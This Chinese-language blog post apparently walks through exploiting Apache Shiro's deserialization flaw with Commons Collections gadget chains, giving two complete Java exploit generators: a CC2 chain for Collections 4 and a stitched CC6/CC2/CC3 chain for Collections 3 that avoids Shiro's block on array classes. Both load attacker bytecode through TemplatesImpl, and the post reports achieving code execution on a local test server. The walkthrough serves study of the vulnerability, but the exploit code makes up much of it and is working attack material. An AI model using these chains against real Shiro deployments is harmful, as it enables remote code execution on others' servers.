简介

上文主要分析了shiro框架存在反序列化漏洞的原理,并且用URLDNS链成功探测出此漏洞。那么如果此框架中添加了CC依赖,我们就可以拿CC链来打了。事实上在ysoserial里,只有CC2能打,因为shiro框架大多都添加Commons Collections4这个大版本。本文就主要分析针对于Commons Collections3和4两个版本shiro反序列化中CC链的利用。

打Commons Collections4.0

简单说下CC2链,执行类和CC3是一样的,利用TemplatesImpl类动态加载字节码,而CC2的反序列化入口类为PriorityQueue,看一下它的readObject函数:

队列元素也被序列化了,最后调用heapify函数,

继续跟进

comparator属性在构造器中被赋值,可控。继续跟进

最终调用可控任意类的compare方法,将comparator赋值为transformingComparator类,跟进。

调用了任意类的transform方法,这个方法很熟悉了,让transformer赋值为invokerTransformer对象来调用它的transform方法,在transform方法通过反射调用TemplatesImpl类的newTransformer方法来对恶意字节码进行类加载和初始化。至此,整条链就对接上了。由于这条链没有单独拿出来说,所以在这就简单说一下思路。CC2链的完整exp:

package com.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2test {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
//反射修改值
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class cl = transformingComparator.getClass();
Field transformerField = cl.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
}

public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("cc2.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}

pom.xml添加CC4版本依赖,用cc2链子来打一下。

成功弹出计算器了。

打Commons Collections3.0

ysoserial里其他的CC链对于shiro框架的CommonsCollection3版本的依赖是打不通的,先拿CC6链尝试打一下,看看服务端报了什么错。

Transformer加载不到,在CC6中Transformer是个数组。

为什么数组类会加载不到呢?报错的地方在DefaultSerializer类的ClassResolvingObjectInputStream方法,我们跟进看一下。

原生的反序列化函数的内部实现是调用ObjectInputStream对象的readObject函数,而在本代码用了ClassResolvingObjectInputStream函数,这个函数是shiro自定义的输入流函数,跟进该函数看一下:

它重写了这个resolveClass函数,导致不能加载到数组类,具体原因是tomcat类加载的问题,与本篇文章内容关联不大,详细细节不再叙说。

既然数组类不能用,那么就用现成的CC链来拼接一条不用数组类的全新的链子。再打CC依赖的链子中,执行类有两种,第一种是Runtime命令执行,由于Runtime类未继承序列化接口,所以需要通过反射创建实例,而这种方式需要Transformer数组来迭代调用。所以只能用另一种方式,任意类加载。直接把CC3的后半段拿过来。

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

还是需要调用TemplatesImpl类的newTransformer方法,而这个方法可以通过InvokerTransformer来调用。那么到现在为止,需要找到一个点来调用InvokerTransformer的transform方法,利用LazyMap类。

而这一部分也不再说了,是CC6的前一段,那么直接拿过来就完事了。整条连就拼接上了,CC6的前半段加上CC2的中间一小段加上CC3的后半段,所以完整EXP为:

package shiro.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shirotest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
HashMap<Object, Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
map2.put(tiedMapEntry, "bbb");
map.remove(templates);
Class cl = LazyMap.class;
Field fieldfactory = cl.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap, invokerTransformer);
serialize(map2);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("wer.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}
}

本地开启服务打一下payload:

成功弹出计算器。

结语

反序列化之路任重而道远。